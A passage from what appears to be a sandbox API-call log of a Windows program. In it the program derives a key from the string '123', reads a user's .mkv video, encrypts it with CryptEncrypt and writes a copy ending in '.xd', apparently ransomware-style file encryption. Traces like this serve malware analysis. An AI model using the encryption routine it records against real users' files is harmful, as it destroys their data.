wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0068.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16295c0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0068.399] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.399] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.399] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.399] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0068.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621840, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0068.399] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0068.400] CryptHashData (hHash=0x164c970, pbData=0x1629560, dwDataLen=0x3, dwFlags=0x1) returned 1 [0068.400] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.400] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.400] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.400] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.400] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.400] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0068.400] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.400] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0068.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x1621768, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0068.400] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDeriveKey") returned 0x74c95b70 [0068.400] CryptDeriveKey (in: hProv=0x17aa2b8, Algid=0x6610, hBaseData=0x164c970, dwFlags=0x1, phKey=0x130e600 | out: phKey=0x130e600*=0x164c4f0) returned 1 [0068.400] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.400] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.400] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.400] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.401] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.401] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.401] PeekMessageW (in: lpMsg=0x130e73c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e73c) returned 0 [0068.401] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0068.401] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyHash", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyHash", lpUsedDefaultChar=0x0) returned 17 [0068.401] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyHash") returned 0x74c7fbf0 [0068.401] CryptDestroyHash (hHash=0x164c970) returned 1 [0068.401] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.401] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.401] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.401] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.401] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.401] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\pzltnfk4rhejzcde.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2ac [0068.402] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.402] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed38 | out: lpNewFilePointer=0x0) returned 1 [0068.402] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.402] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.402] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.402] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv")) returned 0x10 [0068.402] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv.xd" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\pzltnfk4rhejzcde.mkv.xd"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3bc [0068.403] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.403] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.403] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.403] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.405] SetFilePointerEx (in: hFile=0x2ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x130ed88 | out: lpNewFilePointer=0x0) returned 1 [0068.405] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x4235, lpOverlapped=0x0) returned 1 [0068.406] ReadFile (in: hFile=0x2ac, lpBuffer=0x17aedd8, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x130edb0, lpOverlapped=0x0 | out: lpBuffer=0x17aedd8*, lpNumberOfBytesRead=0x130edb0*=0x0, lpOverlapped=0x0) returned 1 [0068.408] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.408] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.408] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.408] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0068.409] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.409] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.409] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0068.409] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.409] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0068.409] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.409] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.409] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.409] PeekMessageW (in: lpMsg=0x130e0cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e0cc) returned 0 [0068.409] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0068.409] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x164e030, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0068.409] GetProcAddress (hModule=0x74c60000, lpProcName="CryptGetKeyParam") returned 0x74c95c90 [0068.409] CryptGetKeyParam (in: hKey=0x164c4f0, dwParam=0x7, pbData=0x1629670, pdwDataLen=0x130e0e8, dwFlags=0x0 | out: pbData=0x1629670*=0x6610, pdwDataLen=0x130e0e8*=0x4) returned 1 [0068.409] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.410] PeekMessageW (in: lpMsg=0x130e71c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e71c) returned 0 [0068.410] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.410] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.410] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.410] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.410] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.410] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.410] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0068.410] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.410] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.410] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0068.410] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.410] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.410] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0068.410] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.410] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.410] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.410] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.411] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.411] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.411] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.411] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.411] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.411] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0068.411] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16218a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0068.411] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0068.411] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x4235, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x4240) returned 1 [0068.412] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.412] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.412] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.412] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.413] CharLowerBuffW (in: lpsz="byte[16961]", cchLength=0xb | out: lpsz="byte[16961]") returned 0xb [0068.413] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.413] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.413] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.413] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.413] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0068.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x16219c0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0068.414] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0068.414] CryptEncrypt (in: hKey=0x164c4f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x1881250*, pdwDataLen=0x130e618*=0x4235, dwBufLen=0x4240 | out: pbData=0x1881250*, pdwDataLen=0x130e618*=0x4240) returned 1 [0068.414] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.414] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.414] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.414] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.414] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.414] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.415] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0068.415] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.415] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0068.415] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.415] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.415] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.415] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.415] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0068.415] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.415] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.416] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.416] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.416] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.416] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.416] WriteFile (in: hFile=0x3bc, lpBuffer=0x17c3028*, nNumberOfBytesToWrite=0x4240, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x17c3028*, lpNumberOfBytesWritten=0x130f01c*=0x4240, lpOverlapped=0x0) returned 1 [0068.417] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.417] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.417] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0068.418] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.418] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.418] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0068.418] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.418] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621408, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0068.418] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0068.418] CryptDestroyKey (hKey=0x164c4f0) returned 1 [0068.418] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, 